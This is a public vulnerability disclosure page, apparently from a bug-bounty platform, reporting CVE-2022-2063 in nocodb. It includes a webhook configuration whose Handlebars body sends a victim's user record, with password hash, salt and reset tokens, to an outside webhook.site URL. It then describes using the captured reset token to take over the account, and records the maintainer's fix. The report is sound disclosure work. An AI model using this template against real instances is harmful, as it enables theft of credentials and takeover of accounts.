Account Takeover via Webhook Handlebars + API Reset Password in nocodb/nocodb

0

Valid Reported on Jun 7th 2022

Description

Through the Webhook functionality, the attacker is able to use Handlebars to capture sensitive user data.
Capturing the **email_verification_token**, which through the API I found the PasswordForget function, enabling account takeover via password reset.

Steps

Create Table
Select your table and configure WebHook:

```
URL: "https://webhook.site/#!/XXXXXX"
METHOD: "POST"
EVENT: "After Insert"
BODY:  "{{ json user }} {{ user.password }}"
```

Save Webhook and invite a victim for project.
Victim insert anything in table.
Attacker will receive a similar response


```
{
  "id": "us_******",
  "email": "victim@gmail.com",
  "password": "$2a$10$wMm3MPZEyx.MYEC0*******",
  "salt": "$2a$10$wMm3MP*******",
  "firstname": null,
  "lastname": null,
  "username": null,
  "refresh_token": "4fe1fbc72603a810f57db95b2a2********",
```

```
  "invite_token": null,
  "invite_token_expires": null,
  "reset_password_expires": "2022-06-07T22:12:34.750Z",
  "reset_password_token": "3175d930-4557-4d**********",
  "email_verification_token": "716c8943-e4a7-**********",
  "email_verified": null,
  "roles": "editor",
  "created_at": "2022-06-07T19:31:30.670Z",
  "updated_at": "2022-06-07T19:31:30.670Z",
  "isAuthorized": true
}
```


Using API, reset the password of the user who obtained the **reset_password_token**

```
Endpoint_final: "https://nocodb-xpl.herokuapp.com/api/v1/db/auth/password/r
```

Set new password and account takeover.

Proof of Concept

```
https://drive.google.com/file/d/1BLqcEHmPIE6sj9JeC6sCSEPB6dQVWXSk/view?usp=
```

Impact

The attacker is able to capture sensitive user information such as: **password, salt, refresh_token, reset_password_token, email_verification_token**.
Through **reset_password_token** it was possible to use the API to change the victim's password.

Occurrences

TS userApis.ts L301

CVE

CVE-2022-2063
(Published)

Vulnerability Type

CWE-269: Improper Privilege Management

Severity
Critical (9)

Registry
Other

Affected Version
*

Visibility
Public

Status
Fixed

Found by

Jonatas

@ninj4c0d3r

master

Fixed by

navi

@o1lab

maintainer

This report was seen 481 times.

We are processing your report and will contact the **nocodb** team within 24 hours. 6 months ago

We have contacted a member of the **nocodb** team and are waiting to hear back 6 months ago

We have sent a follow up to the **nocodb** team. We will try again in 7 days. 5 months ago

A **nocodb/nocodb** maintainer 5 months ago

The fix has been done here.

```
docker run -d -p 8888:8080 nocodb/nocodb-timely:0.91.7-pr-2337-20220613-0749
```

navi validated this vulnerability 5 months ago

Jonatas has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

navi marked this as fixed in 0.91.7+ with commit 269a19 5 months ago

navi has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

userApis.ts#L301 has been validated ✔

Jonatas 5 months ago Researcher

Thanks for confirm and fix @navi, why did this report get bounty? Is specific scope? thanks :)

Distorted_Hacker 5 months ago

Hi @@ninj4c0d3r as i understand huntr.dev they give 250$ bounty to each github repo for a month and this repo has been already spent 250$ of this month so you have to wait for next month until its repo get new monthly credit

Distorted_Hacker 5 months ago

to be eligible to get bounty

Sign in to join this conversation

-